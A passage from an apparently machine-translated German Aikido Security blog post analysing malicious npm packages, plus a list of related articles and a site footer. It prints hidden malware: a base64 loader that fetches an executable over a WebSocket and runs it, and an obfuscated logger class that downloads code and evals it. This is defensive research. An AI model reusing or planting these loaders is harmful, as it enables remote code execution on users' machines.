    new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}

Aha! Es gibt eine versteckte Nutzlast. Sie besteht aus einem base64-kodierten Blob, der dekodiert, in eine Funktion umgewandelt und dann aufgerufen wird. Hier ist die dekodierte und aufgehübschte Nutzlast.

const {
    spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
    const t = path.join(process.env.TEMP, `Realktek.exe`),
        ws = new WebSocket("wss://frerea[.]com");
    ws.on("open", () => {
        ws.send(JSON.stringify({
            command: "realtek"
        }))
    });
    ws.on("message", m => {
        try {
            const r = JSON.parse(m);
            if (r.type === "realtek" && r.data) {
                const b = Buffer.from(r.data, "base64");
                fs.writeFileSync(t, b);
                spawn("cmd", ["/c", t], {
                    detached: true,
                    stdio: "ignore"
                }).unref()
            }
        } catch (e) {
            console.error("Error processing WebSocket message:", e)
        }
    })
})();

Hier sehen wir, dass die Nutzlast eine Verbindung zu einem Remote-Server über einen Websocket herstellt und eine Nachricht sendet. Die Antwort darauf wird dann base64-dekodiert, auf der Festplatte gespeichert und ausgeführt.

Die übermäßig hilfsbereite Helferin

Der letzte Archetyp ist der einer Bibliothek, die hilfreich ist, aber vielleicht ein bisschen zu hilfreich für Ihr eigenes Wohl. Das Beispiel, das wir hier verwenden werden, ist Konsolidierungs-Logger Paket. Wie immer beginnen wir mit der Betrachtung der paket.json Datei. 

{
  "name": "consolidate-logger",
  "version": "1.0.2",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "axios": "^1.5.0"
  },
  "keywords": [
    "logger"
  ],
  "author": "crouch",
  "license": "ISC",
  "description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}

Es sind keine Lebenszyklus-Haken zu finden. Das ist ein bisschen seltsam. Aber für eine Protokollierungsbibliothek ist es auch etwas seltsam, eine Abhängigkeit zu sehen von axiosdie für HTTP-Anfragen verwendet wird. Von dort gehen wir zum index.js Datei, die lediglich eine Datei ist, die die src/logger.js. Sehen wir uns das mal an.

const ErrorReport = require("./lib/report");

class Logger {
  constructor() {
    this.level = 'info';
    this.output = null;
    this.report = new ErrorReport();
  }

  configure({ level, output }) {
    this.level = level || 'info';
    this.output = output ? path.resolve(output) : null;
  }

  log(level, message) {
    const timestamp = new Date().toISOString();
    const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;

    console.log(logMessage);
  }

  info(message) {
    this.log('info', message);
  }

  warn(message) {
    this.log('warn', message);
  }

  error(error) {
    this.log('error', error.stack || error.toString());
  }

  debug(message) {
    if (this.level === 'debug') {
      this.log('debug', message);
    }
  }
}

module.exports = Logger;

Auf den ersten Blick fällt hier nichts auf, aber was hat es mit dem Import von ErrorReport und sie wird im Konstruktor instanziiert, ohne verwendet zu werden? Schauen wir uns an, was die Klasse macht.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr("");
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('72657175697265'),
            g('6178696f73'),
            g('676574'),
            g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
            g('7468656e'),
        ];
        
        const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Hier geht es um einiges mehr. Es gibt hier einige Unklarheiten, deshalb hier eine vereinfachte Version davon.

"use strict";

class ErrorReport {
    constructor() {
        this.reportErr(""); // 
    }

    versionToNumber(versionString) {
        return parseInt(versionString.replace(/\./g, ''), 10);
    }

    reportErr(err_msg) {
        function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }

        const hl = [
            g('require'),
            g('axios'),
            g('get'),
            g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
            g('then'),
        ];
        
        const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
        reportError(err_msg);
    }
}

module.exports = ErrorReport;

Jetzt ist es viel klarer, was dieser Code macht. Im Konstruktor wird die reportErr Funktion ohne eine Fehlermeldung. Die Funktion ist verschleiert und enthält die für den Import erforderlichen Teile axioseine Get-Anfrage stellen und dann eval() auf die zurückgegebenen Daten. Die Bibliothek hilft Ihnen also in gewisser Weise bei der Protokollierung. Aber sie ist vielleicht ein bisschen zu hilfreich, da sie auch unerwarteten Code zur Laufzeit ausführt, wenn die Logger Klasse instanziiert wird.

🛡️ Verteidigungstipps

Zur Verteidigung gegen solche Pakete:

  • Lebenszyklus-Haken immer prüfen in paket.json. Sie sind ein häufiger Angriffsvektor.
  • Überprüfen Sie den Repo und den Paketnamen - subtile Namensunterschiede bedeuten oft Probleme.
  • Seien Sie misstrauisch gegenüber Obfuscation, Minified Code oder base64 Blobs in kleinen Paketen.
  • Verwenden Sie Tools wie Aikdio Intel um fragwürdige Pakete zu identifizieren.
  • Produktionsabhängigkeiten mit Sperrdateien einfrieren (paket-lock.json).
  • Verwenden Sie einen privaten Registrierungsspiegel oder eine Paket-Firewall (z. B. Artifactory, Snyk Broker), um zu kontrollieren, was in Ihre Lieferkette gelangt.

Geschrieben von Charlie Eriksen

Malware-Forscher

Teilen:

https://www.aikido.dev/blog/the-malware-dating-guide-understanding-the-types-of-malware-on-npm

Das Inhaltsverzeichnis:
Text Link
Teilen:
Tastatur verwenden
Verwenden Sie die linke Taste, um auf dem Aikido-Schieberegler vorwärts zu navigieren.
Verwenden Sie die rechte Pfeiltaste, um zur nächsten Folie zu navigieren.
um durch die Artikel zu navigieren
Unter
Charlie Eriksen

Sie sind eingeladen: Die Verbreitung von Malware über Google Kalender-Einladungen und PUAs

Malware
Mai 13, 2025
Mehr lesen
Unter
Mackenzie Jackson

Warum die Aktualisierung von Container-Basisabbildern so schwierig ist (und wie man es einfacher machen kann)

Technik
Mai 12, 2025
Mehr lesen
Unter
Charlie Eriksen

RATatouille: Ein bösartiges Rezept versteckt in rand-user-agent (Kompromittierung der Lieferkette)

6. Mai 2025
Mehr lesen
Unter
Charlie Eriksen

Angriff auf die XRP-Lieferkette: Offizielles NPM-Paket mit Backdoor zum Krypto-Diebstahl infiziert

Malware
April 22, 2025
Mehr lesen
Unter
Charlie Eriksen

Verstecken und scheitern: Verschleierte Malware, leere Nutzlasten und npm-Schwindel

Malware
April 3, 2025
Mehr lesen
Unter
Madeline Lawrence

Start der Aikido-Malware - Open Source Threat Feed

Nachrichten
31. März 2025
Mehr lesen
Unter
Charlie Eriksen

Malware versteckt sich im Verborgenen: Spionage gegen nordkoreanische Hacker

31. März 2025
Mehr lesen
Unter
Das Aikido-Team

Die wichtigsten Tools für Cloud Security Posture Management (CSPM) im Jahr 2025

Leitfäden
März 27, 2025
Mehr lesen
Unter
Madeline Lawrence

Holen Sie sich das TL;DR: tj-actions/changed-files Supply Chain Attack

Nachrichten
März 16, 2025
Mehr lesen
Unter
Mackenzie Jackson

Eine unverbindliche Docker-Sicherheits-Checkliste für Entwickler, die auf Sicherheitslücken achten

Leitfäden
März 6, 2025
Mehr lesen
Unter
Mackenzie Jackson

Erkennen und Blockieren von JavaScript-SQL-Injection-Angriffen

Leitfäden
März 4, 2025
Mehr lesen
Unter
Floris Van den Abeele

Prisma und PostgreSQL anfällig für NoSQL-Injection? Ein überraschendes Sicherheitsrisiko erklärt

Technik
Februar 14, 2025
Mehr lesen
Unter
Das Aikido-Team

Die wichtigsten Tools für dynamische Anwendungssicherheitstests (DAST) im Jahr 2025

Leitfäden
Februar 12, 2025
Mehr lesen
Unter
Willem Delbare

Start von Opengrep | Warum wir Semgrep abgezweigt haben

Nachrichten
Januar 24, 2025
Mehr lesen
Unter
Thomas Segura

Ihr Client benötigt ein NIS2-Schwachstellen-Patching. Was nun?

Januar 14, 2025
Mehr lesen
Unter
Mackenzie Jackson

Die 10 wichtigsten KI-gestützten SAST-Tools im Jahr 2025

Leitfäden
Januar 10, 2025
Mehr lesen
Unter
Madeline Lawrence

Snyk vs Aikido Security | G2 Bewertungen Snyk Alternative

Leitfäden
Januar 10, 2025
Mehr lesen
Unter
Mackenzie Jackson

Die 10 wichtigsten Werkzeuge für die Softwarezusammensetzungsanalyse (SCA) im Jahr 2025

Leitfäden
Januar 9, 2025
Mehr lesen
Unter
Michiel Denis

3 wichtige Schritte zur Stärkung von Compliance und Risikomanagement

27. Dezember 2024
Mehr lesen
Unter
Mackenzie Jackson

Der Open-Source-Leitfaden des Startups für Anwendungssicherheit

Leitfäden
23. Dezember 2024
Mehr lesen
Unter
Madeline Lawrence

Start von Aikido für Cursor AI

Technik
13. Dezember 2024
Mehr lesen
Unter
Mackenzie Jackson

Treffen Sie Intel: Aikidos Open-Source-Bedrohungs-Feed, der von LLMs unterstützt wird.

Technik
13. Dezember 2024
Mehr lesen
Unter
Johan De Keulenaer

Aikido tritt dem AWS-Partnernetzwerk bei

Nachrichten
26. November 2024
Mehr lesen
Unter
Mackenzie Jackson

Befehlsinjektion im Jahr 2024 ausgepackt

Technik
November 24, 2024
Mehr lesen
Unter
Mackenzie Jackson

Path Traversal im Jahr 2024 - Das Jahr ausgepackt

Technik
23. November 2024
Mehr lesen
Unter
Mackenzie Jackson

Ausgewogene Sicherheit: Wann sollten Open-Source-Tools und wann kommerzielle Tools eingesetzt werden?

Leitfäden
15. November 2024
Mehr lesen
Unter
Mackenzie Jackson

Der Stand der SQL-Injektion

Leitfäden
8. November 2024
Mehr lesen
Unter
Michiel Denis

Visma's Sicherheitsgewinn mit Aikido: Ein Gespräch mit Nikolai Brogaard

Nachrichten
6. November 2024
Mehr lesen
Unter
Michiel Denis

Sicherheit im FinTech: Frage und Antwort mit Dan Kindler, Mitbegründer und CTO von Bound

Nachrichten
10. Oktober 2024
Mehr lesen
Unter
Felix Garriau

Die 7 wichtigsten ASPM-Werkzeuge im Jahr 2025

Leitfäden
1. Oktober 2024
Mehr lesen
Unter
Madeline Lawrence

Automatisieren Sie die Einhaltung von Vorschriften mit SprintoGRC x Aikido

Nachrichten
11. September 2024
Mehr lesen
Unter
Felix Garriau

Wie man eine SBOM für Software-Audits erstellt

Leitfäden
9. September 2024
Mehr lesen
Unter
Madeline Lawrence

SAST gegen DAST: Was Sie wissen müssen.

Leitfäden
2. September 2024
Mehr lesen
Unter
Felix Garriau

Die besten SBOM-Tools für Entwickler: Unsere 2025 Auswahlen

Leitfäden
7. August 2024
Mehr lesen
Unter
Lieven Oosterlinck

5 Snyk-Alternativen und warum sie besser sind

Nachrichten
5. August 2024
Mehr lesen
Unter
Madeline Lawrence

Warum wir so begeistert sind, mit Laravel zusammenzuarbeiten

Nachrichten
8. Juli 2024
Mehr lesen
Unter
Felix Garriau

110.000 Standorte vom Polyfill-Angriff auf die Lieferkette betroffen

Nachrichten
27. Juni 2024
Mehr lesen
Unter
Felix Garriau

Cybersecurity Essentials für LegalTech-Unternehmen

Nachrichten
25. Juni 2024
Mehr lesen
Unter
Roeland Delrue

Drata Integration - Wie man das technische Schwachstellenmanagement automatisiert

Leitfäden
18. Juni 2024
Mehr lesen
Unter
Joel Hans

DIY-Anleitung: Bauen oder kaufen Sie Ihr OSS-Toolkit für Code-Scanning und App-Sicherheit

Leitfäden
11. Juni 2024
Mehr lesen
Unter
Roeland Delrue

SOC 2-Zertifizierung: 5 Dinge, die wir gelernt haben

Leitfäden
4. Juni 2024
Mehr lesen
Unter
Joel Hans

Die 10 größten App-Sicherheitsprobleme und wie Sie sich schützen können

Leitfäden
28. Mai 2024
Mehr lesen
Unter
Madeline Lawrence

Wir haben gerade unsere Serie A mit 17 Millionen Dollar aufgestockt.

Nachrichten
2. Mai 2024
Mehr lesen
Unter

Die besten RASP-Tools für Entwickler im Jahr 2025

April 10, 2024
Mehr lesen
Unter
Willem Delbare

Webhook-Sicherheits-Checkliste: Wie man sichere Webhooks erstellt

Leitfäden
4. April 2024
Mehr lesen
Unter
Willem Delbare

Das Heilmittel für das Müdigkeitssyndrom bei Sicherheitswarnungen

Technik
21. Februar 2024
Mehr lesen
Unter
Roeland Delrue

NIS2: Wer ist betroffen?

Leitfäden
16. Januar 2024
Mehr lesen
Unter
Roeland Delrue

ISO 27001-Zertifizierung: 8 Dinge, die wir gelernt haben

Leitfäden
5. Dezember 2023
Mehr lesen
Unter
Roeland Delrue

Cronos Group entscheidet sich für Aikido Security, um die Sicherheit für ihre Unternehmen und Kunden zu verbessern

Nachrichten
30. November 2023
Mehr lesen
Unter
Bart Jonckheere

Wie Loctax Aikido Security einsetzt, um irrelevante Sicherheitswarnungen und Fehlalarme loszuwerden

Nachrichten
22. November 2023
Mehr lesen
Unter
Felix Garriau

Aikido Security sammelt 5 Millionen Euro ein, um eine nahtlose Sicherheitslösung für wachsende SaaS-Unternehmen anzubieten

Nachrichten
9. November 2023
Mehr lesen
Unter
Roeland Delrue

Aikido Security erreicht die ISO 27001:2022-Konformität

Nachrichten
8. November 2023
Mehr lesen
Unter
Felix Garriau

Wie der CTO von StoryChief Aikido Security nutzt, um nachts besser zu schlafen

Nachrichten
Oktober 24, 2023
Mehr lesen
Unter
Willem Delbare

Was ist ein CVE?

Leitfäden
Oktober 17, 2023
Mehr lesen
Unter
Felix Garriau

Die besten Tools zur Erkennung des Lebensendes: Rangliste 2025

Leitfäden
4. Oktober 2023
Mehr lesen
Unter
Willem Delbare

Die 3 größten Sicherheitslücken bei Webanwendungen im Jahr 2024

Technik
27. September 2023
Mehr lesen
Unter
Felix Garriau

Neue Aikido-Sicherheitsfunktionen: August 2023

Nachrichten
22. August 2023
Mehr lesen
Unter
Felix Garriau

Aikidos SaaS CTO-Sicherheitscheckliste 2025

Nachrichten
10. August 2023
Mehr lesen
Unter
Felix Garriau

Aikidos 2024 SaaS CTO Sicherheits-Checkliste

Nachrichten
10. August 2023
Mehr lesen
Unter
Felix Garriau

Die 15 größten Herausforderungen für Cloud- und Codesicherheit, die von CTOs aufgedeckt wurden

Technik
25. Juli 2023
Mehr lesen
Unter
Willem Delbare

Was ist die OWASP Top 10?

Leitfäden
12. Juli 2023
Mehr lesen
Unter
Willem Delbare

Wie Sie ein sicheres Administrationspanel für Ihre SaaS-Anwendung erstellen

Leitfäden
11. Juli 2023
Mehr lesen
Unter
Roeland Delrue

Wie Sie sich auf ISO 27001:2022 vorbereiten können

Leitfäden
5. Juli 2023
Mehr lesen
Unter
Willem Delbare

Verhinderung der Auswirkungen eines Hacks auf Ihre CI/CD-Plattform

Leitfäden
19. Juni 2023
Mehr lesen
Unter
Felix Garriau

Schnellerer Geschäftsabschluss mit einem Bericht zur Sicherheitsbewertung

Nachrichten
12. Juni 2023
Mehr lesen
Unter
Willem Delbare

Automatisiertes technisches Schwachstellenmanagement [SOC 2]

Leitfäden
5. Juni 2023
Mehr lesen
Unter
Willem Delbare

Verhinderung der Verschmutzung durch Prototypen in Ihrem Repository

Leitfäden
1. Juni 2023
Mehr lesen
Unter
Willem Delbare

Wie kann ein CTO eines SaaS-Startups ein Gleichgewicht zwischen Entwicklungsgeschwindigkeit und Sicherheit herstellen?

Leitfäden
16. Mai 2023
Mehr lesen
Unter
Willem Delbare

Wie die Cloud eines Startups durch ein einfaches Formular zum Versenden von E-Mails übernommen wurde

Technik
April 10, 2023
Mehr lesen
Unter
Felix Garriau

Aikido Security sammelt 2 Millionen Euro in einer Pre-Seed-Runde für den Aufbau einer Software-Sicherheitsplattform für Entwickler

Nachrichten
19. Januar 2023
Mehr lesen
Unter

Warum Lockfiles für die Sicherheit der Lieferkette wichtig sind

Mehr lesen
Die wichtigsten Tools für Cloud Security Posture Management (CSPM) im Jahr 2025
Unter
Das Aikido-Team

Die wichtigsten Tools für Cloud Security Posture Management (CSPM) im Jahr 2025

Leitfäden
Mai 14, 2025
Die wichtigsten Tools für dynamische Anwendungssicherheitstests (DAST) im Jahr 2025
Unter
Das Aikido-Team

Die wichtigsten Tools für dynamische Anwendungssicherheitstests (DAST) im Jahr 2025

Leitfäden
Mai 14, 2025
Angriff auf die XRP-Lieferkette: Offizielles NPM-Paket mit Backdoor zum Krypto-Diebstahl infiziert
Unter
Charlie Eriksen

Angriff auf die XRP-Lieferkette: Offizielles NPM-Paket mit Backdoor zum Krypto-Diebstahl infiziert

Malware
31. März 2025

Sicher werden in 32 Sekunden

Verbinden Sie Ihr GitHub-, GitLab-, Bitbucket- oder Azure DevOps-Konto, um Ihre Repos kostenlos zu scannen.

Kostenloser Start
Ihre Daten werden nicht weitergegeben - Nur-Lese-Zugriff
Aikido Armaturenbrett
Unternehmen
ProduktPreiseÜberKarriereKontaktPartner mit uns
Ressourcen
DokumenteÖffentliche API-DokumenteSchwachstellen-DatenbankBlogIntegrationenGlossarPressemappeKundenrezensionen
Sicherheit
Trust CenterÜberblick über die SicherheitCookie-Einstellungen ändern
Rechtliches
DatenschutzbestimmungenCookie-RichtlinieNutzungsbedingungenRahmen-AbonnementvertragVereinbarung zur Datenverarbeitung
Anwendungsfälle
Einhaltung der VorschriftenSAST &AMP; DASTASPMSchwachstellen-ManagementSBOMs generierenWordPress SicherheitSichern Sie Ihren CodeAikido für Microsoft
Branchen
Für HealthTechFür MedTechFür FinTechFür SecurityTechFür LegalTechFür HRTechFür AgenturenFür UnternehmenFür PE & Konzerngesellschaften
Vergleichen Sie
gegenüber allen Anbieterngegen Snykgegen Wizgegen Flickwerkvs. Orca Sicherheitgegen Veracodevs GitHub Erweiterte Sicherheitgegenüber GitLab Ultimategegen Checkmarxgegen Semgrepgegen SonarQube
Verbinden Sie
hello@aikido.dev
LinkedInX
Abonnieren
Bleiben Sie auf dem Laufenden mit allen Updates
Das ist noch nicht alles.
👋🏻 Vielen Dank! Sie wurden abonniert.
Team Aikido
Das ist noch nicht alles.
© 2025 Aikido Security BV | BE0792914919
🇪🇺 Adresse im Handelsregister: Coupure Rechts 88, 9000, Ghent, Belgien
🇪🇺 Hauptstandort: Gebroeders van Eyckstraat 2, 9000, Gent, Belgien
🇺🇸 Geschäftsadresse: 95 Third St, 2nd Fl, San Francisco, CA 94103, USA
SOC 2
Konform
ISO 27001
Konform